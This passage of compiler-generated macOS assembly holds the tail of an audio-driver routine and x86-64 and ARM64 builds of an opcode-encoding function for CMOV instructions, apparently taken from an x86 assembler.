sub x22, x22, #1 cmp x22, x25 b.le LBB0_3 LBB0_5: ldr w8, [x19] cmp w8, #1 b.lt LBB0_11 ; %bb.6: mov w25, #0 ; =0x0 ldr x21, [x19, #8] Lloh5: adrp x26, _AC_WCAP_DIGITAL@GOTPAGE Lloh6: ldr x26, [x26, _AC_WCAP_DIGITAL@GOTPAGEOFF] b LBB0_8 LBB0_7: ; in Loop: Header=BB0_8 Depth=1 add w25, w25, #1 add x21, x21, #1 ldr w8, [x19] cmp w25, w8 b.ge LBB0_11 LBB0_8: ; =>This Inner Loop Header: Depth=1 mov x0, x19 mov x1, x21 bl _get_wcaps mov x22, x0 bl _get_wcaps_type ldr x8, [x24] cmp x0, x8 b.ne LBB0_7 ; %bb.9: ; in Loop: Header=BB0_8 Depth=1 ldr w8, [x26] tst w8, w22 b.ne LBB0_7 ; %bb.10: add x8, sp, #8 str x21, [x8, w20, sxtw #3] ldr w1, [x23] add w2, w20, #1 add x3, sp, #8 mov x0, x19 bl _snd_hda_override_conn_list b LBB0_12 LBB0_11: mov w0, #0 ; =0x0 LBB0_12: ldr x8, [sp, #72] Lloh7: adrp x9, ___stack_chk_guard@GOTPAGE Lloh8: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh9: ldr x9, [x9] cmp x9, x8 b.ne LBB0_14 ; %bb.13: ldp x29, x30, [sp, #144] ; 16-byte Folded Reload ldp x20, x19, [sp, #128] ; 16-byte Folded Reload ldp x22, x21, [sp, #112] ; 16-byte Folded Reload ldp x24, x23, [sp, #96] ; 16-byte Folded Reload ldp x26, x25, [sp, #80] ; 16-byte Folded Reload add sp, sp, #160 ret LBB0_14: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .cfi_endproc ; -- End function .comm _AC_WID_AUD_OUT,8,3 ; @AC_WID_AUD_OUT .comm _AC_WCAP_DIGITAL,4,2 ; @AC_WCAP_DIGITAL .no_dead_strip _add_secret_dac_path .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function opcmov _opcmov: ## @opcmov .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %rbx movq %rdx, %rdi callq _is_valid_registers movq 8(%r14), %r12 movq _OT_MEMORY@GOTPCREL(%rip), %rdx movl (%rdx), %eax orl (%r12), %eax je LBB0_2 ## %bb.1: movq _OT_CONSTANT@GOTPCREL(%rip), %rax movl (%rax), %eax movl $-1, %r15d testl %eax, 40(%r12) jne LBB0_102 LBB0_2: movl $15, (%rbx) movq (%r14), %rcx movzbl -4(%rcx), %r15d movl %r15d, %eax addl $-111, %eax jne LBB0_4 ## %bb.3: movzbl -3(%rcx), %eax LBB0_4: testl %eax, %eax movq %rbx, -72(%rbp) ## 8-byte Spill je LBB0_13 ## %bb.5: movl %r15d, %esi addl $-110, %esi movl %esi, %eax jne LBB0_7 ## %bb.6: movzbl -3(%rcx), %eax addl $-111, %eax je LBB0_77 LBB0_7: testl %eax, %eax je LBB0_78 LBB0_8: movl %r15d, %r13d addl $-98, %r13d movl %r13d, %eax jne LBB0_10 ## %bb.9: movzbl -3(%rcx), %eax LBB0_10: movl $66, %ebx testl %eax, %eax je LBB0_79 ## %bb.11: movl %r15d, %eax addl $-99, %eax je LBB0_14 ## %bb.12: testl %eax, %eax jne LBB0_15 jmp LBB0_79 LBB0_13: movl $64, %ebx jmp LBB0_79 LBB0_14: movzbl -3(%rcx), %eax testl %eax, %eax je LBB0_79 LBB0_15: movl %esi, -44(%rbp) ## 4-byte Spill leaq -4(%rcx), %rdi movq %rcx, -56(%rbp) ## 8-byte Spill leaq L_.str.4(%rip), %rsi movq %rdi, -64(%rbp) ## 8-byte Spill callq _strcmp movq -56(%rbp), %rsi ## 8-byte Reload movq _OT_MEMORY@GOTPCREL(%rip), %rdx testl %eax, %eax je LBB0_79 ## %bb.16: movl %r15d, %eax addl $-97, %eax movl %eax, %ecx jne LBB0_19 ## %bb.17: movzbl -3(%rsi), %ecx addl $-101, %ecx jne LBB0_19 ## %bb.18: movzbl -2(%rsi), %ecx LBB0_19: movl $67, %ebx testl %ecx, %ecx je LBB0_79 ## %bb.20: movl -44(%rbp), %edi ## 4-byte Reload movl %edi, %ecx testl %edi, %edi je LBB0_103 LBB0_21: testl %ecx, %ecx je LBB0_79 ## %bb.22: movl %r15d, %ecx addl $-101, %ecx jne LBB0_24 ## %bb.23: movzbl -3(%rsi), %ecx LBB0_24: movl $68, %ebx testl %ecx, %ecx je LBB0_79 ## %bb.25: movl %r15d, %ecx addl $-122, %ecx jne LBB0_27 ## %bb.26: movzbl -3(%rsi), %ecx LBB0_27: testl %ecx, %ecx je LBB0_79 ## %bb.28: movl -44(%rbp), %edi ## 4-byte Reload movl %edi, %ecx testl %edi, %edi je LBB0_108 LBB0_29: testl %ecx, %ecx je LBB0_114 ## %bb.30: testl %r13d, %r13d jne LBB0_33 ## %bb.31: movzbl -3(%rsi), %r13d addl $-101, %r13d jne LBB0_33 ## %bb.32: movzbl -2(%rsi), %r13d LBB0_33: movl $70, %ebx testl %r13d, %r13d je LBB0_79 ## %bb.34: movl -44(%rbp), %edi ## 4-byte Reload movl %edi, %ecx testl %edi, %edi jne LBB0_37 ## %bb.35: movzbl -3(%rsi), %ecx addl $-97, %ecx jne LBB0_37 ## %bb.36: movzbl -2(%rsi), %ecx LBB0_37: testl %ecx, %ecx je LBB0_79 ## %bb.38: testl %eax, %eax jne LBB0_40 ## %bb.39: movzbl -3(%rsi), %eax LBB0_40: movl $71, %ebx testl %eax, %eax je LBB0_79 ## %bb.41: leaq L_.str.15(%rip), %rsi movq -64(%rbp), %rdi ## 8-byte Reload callq _strcmp movq -56(%rbp), %rsi ## 8-byte Reload movq _OT_MEMORY@GOTPCREL(%rip), %rdx testl %eax, %eax je LBB0_79 ## %bb.42: movl %r15d, %eax addl $-115, %eax jne LBB0_44 ## %bb.43: movzbl -3(%rsi), %eax LBB0_44: testl %eax, %eax je LBB0_115 ## %bb.45: movl -44(%rbp), %ecx ## 4-byte Reload movl %ecx, %eax testl %ecx, %ecx jne LBB0_48 ## %bb.46: movzbl -3(%rsi), %eax addl $-115, %eax jne LBB0_48 ## %bb.47: movzbl -2(%rsi), %eax LBB0_48: testl %eax, %eax je LBB0_116 ## %bb.49: movl %r15d, %eax addl $-112, %eax movl %eax, %ecx je LBB0_117 LBB0_50: testl %ecx, %ecx je LBB0_121 ## %bb.51: movl -44(%rbp), %edi ## 4-byte Reload movl %edi, %ecx testl %edi, %edi jne LBB0_54 ## %bb.52: movzbl -3(%rsi), %ecx addl $-112, %ecx jne LBB0_54 ## %bb.53: movzbl -2(%rsi), %ecx LBB0_54: movl $75, %ebx testl %ecx, %ecx je LBB0_79 ## %bb.55: testl %eax, %eax jne LBB0_58 ## %bb.56: movzbl -3(%rsi), %eax addl $-111, %eax jne LBB0_58 ## %bb.57: movzbl -2(%rsi), %eax LBB0_58: testl %eax, %eax je LBB0_79 ## %bb.59: movl %r15d, %r13d addl $-108, %r13d movl %r13d, %eax jne LBB0_61 ## %bb.60: movq -56(%rbp), %rax ## 8-byte Reload movzbl -3(%rax), %eax LBB0_61: movl $76, %ebx testl %eax, %eax je LBB0_127 ## %bb.62: leaq L_.str.23(%rip), %rsi movq -64(%rbp), %rdi ## 8-byte Reload callq _strcmp testl %eax, %eax movq _OT_MEMORY@GOTPCREL(%rip), %rdx je LBB0_79 ## %bb.63: cmpl $103, %r15d jne LBB0_66 ## %bb.64: movq -56(%rbp), %rax ## 8-byte Reload cmpb $101, -3(%rax) jne LBB0_66 ## %bb.65: movq -56(%rbp), %rax ## 8-byte Reload cmpb $0, -2(%rax) je LBB0_125 LBB0_66: cmpl $0, -44(%rbp) ## 4-byte Folded Reload jne LBB0_69 ## %bb.67: movq -56(%rbp), %rax ## 8-byte Reload cmpb $108, -3(%rax) jne LBB0_69 ## %bb.68: movq -56(%rbp), %rax ## 8-byte Reload cmpb $0, -2(%rax) je LBB0_125 LBB0_69: testl %r13d, %r13d jne LBB0_72 ## %bb.70: movq -56(%rbp), %rax ## 8-byte Reload cmpb $101, -3(%rax) jne LBB0_72 ## %bb.71: movq -56(%rbp), %rax ## 8-byte Reload cmpb $0, -2(%rax) je LBB0_76 LBB0_72: cmpl $103, %r15d je LBB0_122 ## %bb.73: cmpl $110, %r15d jne LBB0_123 ## %bb.74: movq -56(%rbp), %rax ## 8-byte Reload cmpb $103, -3(%rax) jne LBB0_123 ## %bb.75: movq -56(%rbp), %rax ## 8-byte Reload cmpb $0, -2(%rax) jne LBB0_123 LBB0_76: movl $78, %ebx jmp LBB0_127 LBB0_77: movzbl -2(%rcx), %eax testl %eax, %eax jne LBB0_8 LBB0_78: movl $65, %ebx LBB0_79: movq -72(%rbp), %r13 ## 8-byte Reload movl %ebx, 4(%r13) movl $2, %r15d LBB0_80: movq _OT_REGALL@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, (%r12) je LBB0_102 ## %bb.81: movl (%rdx), %eax testl %eax, 40(%r12) je LBB0_86 ## %bb.82: movq 48(%r12), %rcx movq 56(%r12), %rax movl (%rcx), %edx movl 4(%rax), %esi movq _X86R_UNDEFINED@GOTPCREL(%rip), %rdi movl (%rdi), %edi cmpl $2, %edx jl LBB0_87 ## %bb.83: cmpl %edi, %esi jne LBB0_91 ## %bb.84: movl 24(%r12), %esi movl 72(%r12), %ebx imull 68(%r12), %ebx cmpl $2, %edx sete %dl testl %ebx, %ebx setne %dil andb %dl, %dil shll $3, %esi movl %r15d, %r12d movzbl %dil, %edx shll $6, %edx orl %esi, %edx orl $4, %edx movl %edx, (%r13,%r12,4) movl (%rcx), %edi cmpl $2, %edi jne LBB0_93 ## %bb.85: movl (%rax), %eax leal (,%rax,8), %ecx orl %eax, %ecx jmp LBB0_94 LBB0_86: movl 24(%r12), %eax shll $3, %eax orl 64(%r12), %eax orl $192, %eax movl %r15d, %ecx incl %r15d movl %eax, (%r13,%rcx,4) jmp LBB0_102 LBB0_87: cmpl %edi, %esi jne LBB0_92 ## %bb.88: movl 24(%r12), %edx movl 68(%r12), %esi movl 72(%r12), %ecx imull %esi, %ecx testl %esi, %esi setne %sil movl (%rax), %edi movq _X86R_EBP@GOTPCREL(%rip), %rax cmpl (%rax), %edi sete %al orb %sil, %al movzbl %al, %esi movq _ST8_MIN@GOTPCREL(%rip), %rax cmpl (%rax), %ecx setl %r8b movq _ST8_MAX@GOTPCREL(%rip), %rax cmpl (%rax), %ecx setg %al orb %r8b, %al movl $2, %r8d cmovel %esi, %r8d movl %r8d, %esi shll $6, %esi shll $3, %edx orl %edi, %edx orl %esi, %edx leal 1(%r15), %edi movl %r15d, %esi movl %edx, (%r13,%rsi,4) testl %r8d, %r8d je LBB0_98 ## %bb.89: leal 2(%r15), %edx movl %edi, %edi movl %ecx, (%r13,%rdi,4) testb %al, %al je LBB0_101 ## %bb.90: movl %ecx, %eax sarl $8, %eax movl %edx, %edx movl %eax, (%r13,%rdx,4) movl %ecx, %eax sarl $16, %eax movl %eax, 12(%r13,%rsi,4) sarl $24, %ecx addl $5, %r15d movl %ecx, 16(%r13,%rsi,4) jmp LBB0_102 LBB0_91: movl 24(%r12), %eax leal 4(,%rax,8), %eax movl %r15d, %ebx movl %eax, (%r13,%rbx,4) movl (%rcx), %edi callq _getsib shll $6, %eax movq 8(%r14), %rcx movq 56(%rcx), %rcx movl (%rcx), %edx shll $3, %edx orl %eax, %edx orl 4(%rcx), %edx addl $2, %r15d movl %edx, 4(%r13,%rbx,4) jmp LBB0_102 LBB0_92: movl 24(%r12), %ecx leal 4(,%rcx,8), %ecx movl %r15d, %edx movl %ecx, (%r13,%rdx,4) movl 4(%rax), %ecx shll $3, %ecx orl (%rax), %ecx addl $2, %r15d movl %ecx, 4(%r13,%rdx,4) jmp LBB0_102 LBB0_93: callq _getsib shll $6, %eax movq 8(%r14), %rcx movq 56(%rcx), %rcx movl (%rcx), %ecx shll $3, %ecx orl %eax, %ecx orl $5, %ecx LBB0_94: leal 2(%r15), %edx movl %ecx, 4(%r13,%r12,4) testl %ebx, %ebx je LBB0_101 ## %bb.95: leal 3(%r15), %eax movl %edx, %ecx movl %ebx, (%r13,%rcx,4) movq _ST8_MIN@GOTPCREL(%rip), %rcx cmpl (%rcx), %ebx jl LBB0_100 ## %bb.96: movq _ST8_MAX@GOTPCREL(%rip), %rcx cmpl (%rcx), %ebx jg LBB0_100 ## %bb.97: movl %eax, %r15d jmp LBB0_102 LBB0_101: movl %edx, %r15d jmp LBB0_102 LBB0_98: movl %edi, %r15d jmp LBB0_102 LBB0_100: movl %ebx, %ecx sarl $8, %ecx movl %eax, %eax movl %ecx, (%r13,%rax,4) movl %ebx, %eax sarl $16, %eax movl %eax, 16(%r13,%r12,4) sarl $24, %ebx addl $6, %r15d movl %ebx, 20(%r13,%r12,4) LBB0_102: movl %r15d, %eax addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_103: movzbl -3(%rsi), %ecx addl $-98, %ecx jne LBB0_105 ## %bb.104: movzbl -2(%rsi), %ecx LBB0_105: testl %ecx, %ecx je LBB0_79 ## %bb.106: movzbl -3(%rsi), %ecx addl $-99, %ecx jne LBB0_21 ## %bb.107: movzbl -2(%rsi), %ecx jmp LBB0_21 LBB0_108: movzbl -3(%rsi), %ecx addl $-101, %ecx jne LBB0_110 ## %bb.109: movzbl -2(%rsi), %ecx LBB0_110: testl %ecx, %ecx je LBB0_114 ## %bb.111: movzbl -3(%rsi), %ecx addl $-122, %ecx jne LBB0_29 ## %bb.112: movzbl -2(%rsi), %ecx jmp LBB0_29 LBB0_114: movl $69, %ebx jmp LBB0_79 LBB0_115: movl $72, %ebx jmp LBB0_79 LBB0_116: movl $73, %ebx jmp LBB0_79 LBB0_117: movzbl -3(%rsi), %ecx testl %ecx, %ecx je LBB0_121 ## %bb.118: addl $-101, %ecx jne LBB0_50 ## %bb.119: movzbl -2(%rsi), %ecx jmp LBB0_50 LBB0_121: movl $74, %ebx jmp LBB0_79 LBB0_122: movq -56(%rbp), %rax ## 8-byte Reload cmpb $0, -3(%rax) je LBB0_126 LBB0_123: leaq L_.str.29(%rip), %rsi movq -64(%rbp), %rdi ## 8-byte Reload callq _strcmp movl $1, %r15d testl %eax, %eax movq -72(%rbp), %r13 ## 8-byte Reload movq _OT_MEMORY@GOTPCREL(%rip), %rdx jne LBB0_80 ## %bb.124: movl $79, %ebx jmp LBB0_79 LBB0_125: movl $77, %ebx jmp LBB0_127 LBB0_126: movl $79, %ebx LBB0_127: movq _OT_MEMORY@GOTPCREL(%rip), %rdx jmp LBB0_79 .cfi_endproc ## -- End function .comm _OT_MEMORY,4,2 ## @OT_MEMORY .comm _OT_CONSTANT,4,2 ## @OT_CONSTANT .section __TEXT,__cstring,cstring_literals L_.str.4: ## @.str.4 .asciz "nae" L_.str.15: ## @.str.15 .asciz "nbe" L_.str.23: ## @.str.23 .asciz "nge" L_.str.29: ## @.str.29 .asciz "nle" .comm _OT_REGALL,4,2 ## @OT_REGALL .comm _X86R_UNDEFINED,4,2 ## @X86R_UNDEFINED .comm _ST8_MIN,4,2 ## @ST8_MIN .comm _ST8_MAX,4,2 ## @ST8_MAX .comm _X86R_EBP,4,2 ## @X86R_EBP .no_dead_strip _opcmov .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 ; -- Begin function opcmov lCPI0_0: .long 4294967280 ; 0xfffffff0 .long 4294967272 ; 0xffffffe8 lCPI0_1: .long 4294967288 ; 0xfffffff8 .long 4294967280 ; 0xfffffff0 .section __TEXT,__text,regular,pure_instructions .p2align 2 _opcmov: ; @opcmov .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x2 mov x19, x1 mov x0, x2 bl _is_valid_registers ldr x22, [x20, #8] ldr w8, [x22] Lloh0: adrp x23, _OT_MEMORY@GOTPAGE Lloh1: ldr x23, [x23, _OT_MEMORY@GOTPAGEOFF] ldr w9, [x23] orr w8, w9, w8 cbz w8, LBB0_3 ; %bb.1: ldr w8, [x22, #40] Lloh2: adrp x9, _OT_CONSTANT@GOTPAGE Lloh3: ldr x9, [x9, _OT_CONSTANT@GOTPAGEOFF] Lloh4: ldr w9, [x9] tst w9, w8 b.eq LBB0_3 ; %bb.2: mov w0, #-1 ; =0xffffffff b LBB0_117 LBB0_3: mov w8, #15 ; =0xf str w8, [x19] ldr x24, [x20] mov x21, x24 ldrb w25, [x21, #-4]! subs w8, w25, #111 b.eq LBB0_10 ; %bb.4: cbz w8, LBB0_11 LBB0_5: subs w26, w25, #110 mov x8, x26 b.ne LBB0_7 ; %bb.6: ldurb w8, [x24, #-3] subs w8, w8, #111 b.eq LBB0_79 LBB0_7: cbz w8, LBB0_80 LBB0_8: subs w27, w25, #98 mov x8, x27 b.eq LBB0_12 ; %bb.9: cbnz w8, LBB0_13 b LBB0_78 LBB0_10: ldurb w8, [x24, #-3] cbnz w8, LBB0_5 LBB0_11: mov w8, #64 ; =0x40 b LBB0_96 LBB0_12: ldurb w8, [x24, #-3] cbz w8, LBB0_78 LBB0_13: subs w8, w25, #99 b.eq LBB0_15 ; %bb.14: cbnz w8, LBB0_16 b LBB0_78 LBB0_15: ldurb w8, [x24, #-3] cbz w8, LBB0_78 LBB0_16: Lloh5: adrp x1, l_.str.4@PAGE Lloh6: add x1, x1, l_.str.4@PAGEOFF mov x0, x21 bl _strcmp cbz w0, LBB0_78 ; %bb.17: subs w8, w25, #97 mov x9, x8 b.ne LBB0_20 ; %bb.18: ldurb w9, [x24, #-3] subs w9, w9, #101 b.ne LBB0_20 ; %bb.19: ldurb w9, [x24, #-2] LBB0_20: cbz w9, LBB0_86 ; %bb.21: mov x9, x26 cbz w26, LBB0_81 LBB0_22: cbz w9, LBB0_86 ; %bb.23: subs w9, w25, #101 b.ne LBB0_25 ; %bb.24: ldurb w9, [x24, #-3] LBB0_25: cbz w9, LBB0_87 ; %bb.26: subs w9, w25, #122 b.ne LBB0_28 ; %bb.27: ldurb w9, [x24, #-3] LBB0_28: cbz w9, LBB0_87 ; %bb.29: mov x9, x26 cbz w26, LBB0_88 LBB0_30: cbz w9, LBB0_93 ; %bb.31: cbnz w27, LBB0_34 ; %bb.32: ldurb w9, [x24, #-3] subs w27, w9, #101 b.ne LBB0_34 ; %bb.33: ldurb w27, [x24, #-2] LBB0_34: cbz w27, LBB0_94 ; %bb.35: mov x9, x26 cbnz w26, LBB0_38 ; %bb.36: ldurb w9, [x24, #-3] subs w9, w9, #97 b.ne LBB0_38 ; %bb.37: ldurb w9, [x24, #-2] LBB0_38: cbz w9, LBB0_94 ; %bb.39: cbnz w8, LBB0_41 ; %bb.40: ldurb w8, [x24, #-3] LBB0_41: cbz w8, LBB0_95 ; %bb.42: Lloh7: adrp x1, l_.str.15@PAGE Lloh8: add x1, x1, l_.str.15@PAGEOFF mov x0, x21 bl _strcmp cbz w0, LBB0_95 ; %bb.43: subs w8, w25, #115 b.ne LBB0_45 ; %bb.44: ldurb w8, [x24, #-3] LBB0_45: cbz w8, LBB0_118 ; %bb.46: mov x8, x26 cbnz w26, LBB0_49 ; %bb.47: ldurb w8, [x24, #-3] subs w8, w8, #115 b.ne LBB0_49 ; %bb.48: ldurb w8, [x24, #-2] LBB0_49: cbz w8, LBB0_119 ; %bb.50: subs w8, w25, #112 mov x9, x8 b.eq LBB0_120 LBB0_51: cbz w9, LBB0_123 ; %bb.52: mov x9, x26 cbnz w26, LBB0_55 ; %bb.53: ldurb w9, [x24, #-3] subs w9, w9, #112 b.ne LBB0_55 ; %bb.54: ldurb w9, [x24, #-2] LBB0_55: cbz w9, LBB0_124 ; %bb.56: cbnz w8, LBB0_59 ; %bb.57: ldurb w8, [x24, #-3] subs w8, w8, #111 b.ne LBB0_59 ; %bb.58: ldurb w8, [x24, #-2] LBB0_59: cbz w8, LBB0_124 ; %bb.60: subs w27, w25, #108 mov x8, x27 b.ne LBB0_62 ; %bb.61: ldurb w8, [x24, #-3] LBB0_62: cbz w8, LBB0_125 ; %bb.63: Lloh9: adrp x1, l_.str.23@PAGE Lloh10: add x1, x1, l_.str.23@PAGEOFF mov x0, x21 bl _strcmp cbz w0, LBB0_125 ; %bb.64: cmp w25, #103 b.ne LBB0_67 ; %bb.65: ldurb w8, [x24, #-3] cmp w8, #101 b.ne LBB0_67 ; %bb.66: ldurb w8, [x24, #-2] cbz w8, LBB0_130 LBB0_67: cbnz w26, LBB0_70 ; %bb.68: ldurb w8, [x24, #-3] cmp w8, #108 b.ne LBB0_70 ; %bb.69: ldurb w8, [x24, #-2] cbz w8, LBB0_130 LBB0_70: cbnz w27, LBB0_73 ; %bb.71: ldurb w8, [x24, #-3] cmp w8, #101 b.ne LBB0_73 ; %bb.72: ldurb w8, [x24, #-2] cbz w8, LBB0_77 LBB0_73: cmp w25, #103 b.eq LBB0_126 ; %bb.74: cmp w25, #110 b.ne LBB0_127 ; %bb.75: ldurb w8, [x24, #-3] cmp w8, #103 b.ne LBB0_127 ; %bb.76: ldurb w8, [x24, #-2] cbnz w8, LBB0_127 LBB0_77: mov w8, #78 ; =0x4e b LBB0_96 LBB0_78: mov w8, #66 ; =0x42 b LBB0_96 LBB0_79: ldurb w8, [x24, #-2] cbnz w8, LBB0_8 LBB0_80: mov w8, #65 ; =0x41 b LBB0_96 LBB0_81: ldurb w9, [x24, #-3] subs w9, w9, #98 b.ne LBB0_83 ; %bb.82: ldurb w9, [x24, #-2] LBB0_83: cbz w9, LBB0_86 ; %bb.84: ldurb w9, [x24, #-3] subs w9, w9, #99 b.ne LBB0_22 ; %bb.85: ldurb w9, [x24, #-2] b LBB0_22 LBB0_86: mov w8, #67 ; =0x43 b LBB0_96 LBB0_87: mov w8, #68 ; =0x44 b LBB0_96 LBB0_88: ldurb w9, [x24, #-3] subs w9, w9, #101 b.ne LBB0_90 ; %bb.89: ldurb w9, [x24, #-2] LBB0_90: cbz w9, LBB0_93 ; %bb.91: ldurb w9, [x24, #-3] subs w9, w9, #122 b.ne LBB0_30 ; %bb.92: ldurb w9, [x24, #-2] b LBB0_30 LBB0_93: mov w8, #69 ; =0x45 b LBB0_96 LBB0_94: mov w8, #70 ; =0x46 b LBB0_96 LBB0_95: mov w8, #71 ; =0x47 LBB0_96: str w8, [x19, #4] mov w21, #2 ; =0x2 LBB0_97: ldr w8, [x22] Lloh11: adrp x9, _OT_REGALL@GOTPAGE Lloh12: ldr x9, [x9, _OT_REGALL@GOTPAGEOFF] Lloh13: ldr w9, [x9] tst w9, w8 b.eq LBB0_103 ; %bb.98: ldr w8, [x22, #40] ldr w9, [x23] tst w9, w8 b.eq LBB0_104 ; %bb.99: ldp x9, x8, [x22, #48] ldr w10, [x9] ldr w11, [x8, #4] Lloh14: adrp x12, _X86R_UNDEFINED@GOTPAGE Lloh15: ldr x12, [x12, _X86R_UNDEFINED@GOTPAGEOFF] Lloh16: ldr w12, [x12] cmp w10, #2 b.lt LBB0_105 ; %bb.100: cmp w11, w12 b.ne LBB0_109 ; %bb.101: ldp w11, w12, [x22, #68] mul w23, w12, w11 cmp w23, #0 ccmp w10, #2, #0, ne ldr w10, [x22, #24] add x22, x19, w21, uxtw #2 mov w11, #4 ; =0x4 mov w12, #68 ; =0x44 csel w11, w12, w11, eq orr w10, w11, w10, lsl #3 str w10, [x22] ldr w0, [x9] cmp w0, #2 b.ne LBB0_111 ; %bb.102: ldr w8, [x8] orr w8, w8, w8, lsl #3 b LBB0_112 LBB0_103: mov x0, x21 b LBB0_117 LBB0_104: ldr w8, [x22, #24] ldr w9, [x22, #64] orr w8, w9, w8, lsl #3 orr w8, w8, #0xc0 add w0, w21, #1 str w8, [x19, w21, uxtw #2] b LBB0_117 LBB0_105: cmp w11, w12 b.ne LBB0_110 ; %bb.106: ldp w10, w9, [x22, #68] mul w9, w9, w10 cmp w10, #0 ldr w8, [x8] Lloh17: adrp x10, _X86R_EBP@GOTPAGE Lloh18: ldr x10, [x10, _X86R_EBP@GOTPAGEOFF] Lloh19: ldr w10, [x10] ccmp w8, w10, #4, eq cset w11, eq Lloh20: adrp x10, _ST8_MIN@GOTPAGE Lloh21: ldr x10, [x10, _ST8_MIN@GOTPAGEOFF] Lloh22: ldr w10, [x10] cmp w9, w10 Lloh23: adrp x10, _ST8_MAX@GOTPAGE Lloh24: ldr x10, [x10, _ST8_MAX@GOTPAGEOFF] Lloh25: ldr w10, [x10] ccmp w9, w10, #0, ge cset w10, gt mov w12, #2 ; =0x2 csel w11, w12, w11, gt ldr w12, [x22, #24] lsl w12, w12, #3 orr w12, w12, w11, lsl #6 orr w12, w12, w8 add w0, w21, #1 add x8, x19, w21, uxtw #2 str w12, [x8] cbz w11, LBB0_117 ; %bb.107: add w11, w21, #2 str w9, [x19, w0, uxtw #2] cbz w10, LBB0_116 ; %bb.108: asr w10, w9, #8 str w10, [x19, w11, uxtw #2] dup.2s v0, w9 Lloh26: adrp x9, lCPI0_0@PAGE Lloh27: ldr d1, [x9, lCPI0_0@PAGEOFF] sshl.2s v0, v0, v1 add w0, w21, #5 stur d0, [x8, #12] b LBB0_117 LBB0_109: ldr w8, [x22, #24] mov w10, #4 ; =0x4 orr w8, w10, w8, lsl #3 add x19, x19, w21, uxtw #2 str w8, [x19] ldr w0, [x9] bl _getsib ldr x8, [x20, #8] ldr x8, [x8, #56] ldp w9, w8, [x8] lsl w9, w9, #3 orr w9, w9, w0, lsl #6 orr w8, w9, w8 add w0, w21, #2 str w8, [x19, #4] b LBB0_117 LBB0_110: ldr w9, [x22, #24] mov w10, #4 ; =0x4 orr w9, w10, w9, lsl #3 add x10, x19, w21, uxtw #2 str w9, [x10] ldp w8, w9, [x8] orr w8, w8, w9, lsl #3 add w0, w21, #2 str w8, [x10, #4] b LBB0_117 LBB0_111: bl _getsib lsl w8, w0, #6 ldr x9, [x20, #8] ldr x9, [x9, #56] ldr w9, [x9] orr w8, w8, w9, lsl #3 mov w9, #5 ; =0x5 orr w8, w8, w9 LBB0_112: str w8, [x22, #4] add w0, w21, #2 cbz w23, LBB0_117 ; %bb.113: add w8, w21, #3 str w23, [x19, w0, uxtw #2] Lloh28: adrp x9, _ST8_MIN@GOTPAGE Lloh29: ldr x9, [x9, _ST8_MIN@GOTPAGEOFF] Lloh30: ldr w9, [x9] cmp w23, w9 b.lt LBB0_115 ; %bb.114: Lloh31: adrp x9, _ST8_MAX@GOTPAGE Lloh32: ldr x9, [x9, _ST8_MAX@GOTPAGEOFF] Lloh33: ldr w9, [x9] mov x0, x8 cmp w23, w9 b.le LBB0_117 LBB0_115: dup.2s v0, w23 Lloh34: adrp x9, lCPI0_1@PAGE Lloh35: ldr d1, [x9, lCPI0_1@PAGEOFF] sshl.2s v0, v0, v1 ubfiz x8, x8, #2, #32 str d0, [x19, x8] asr w8, w23, #24 add w0, w21, #6 str w8, [x22, #20] b LBB0_117 LBB0_116: mov x0, x11 LBB0_117: ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret LBB0_118: mov w8, #72 ; =0x48 b LBB0_96 LBB0_119: mov w8, #73 ; =0x49 b LBB0_96 LBB0_120: ldurb w9, [x24, #-3] cbz w9, LBB0_123 ; %bb.121: subs w9, w9, #101 b.ne LBB0_51 ; %bb.122: ldurb w9, [x24, #-2] b LBB0_51 LBB0_123: mov w8, #74 ; =0x4a b LBB0_96 LBB0_124: mov w8, #75 ; =0x4b b LBB0_96 LBB0_125: mov w8, #76 ; =0x4c b LBB0_96 LBB0_126: ldurb w8, [x24, #-3] cbz w8, LBB0_129 LBB0_127: Lloh36: adrp x1, l_.str.29@PAGE Lloh37: add x1, x1, l_.str.29@PAGEOFF mov x0, x21 bl _strcmp cbz w0, LBB0_129 ; %bb.128: mov w21, #1 ; =0x1 b LBB0_97 LBB0_129: mov w8, #79 ; =0x4f b LBB0_96 LBB0_130: mov w8, #77 ; =0x4d b LBB0_96 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpAdd Lloh7, 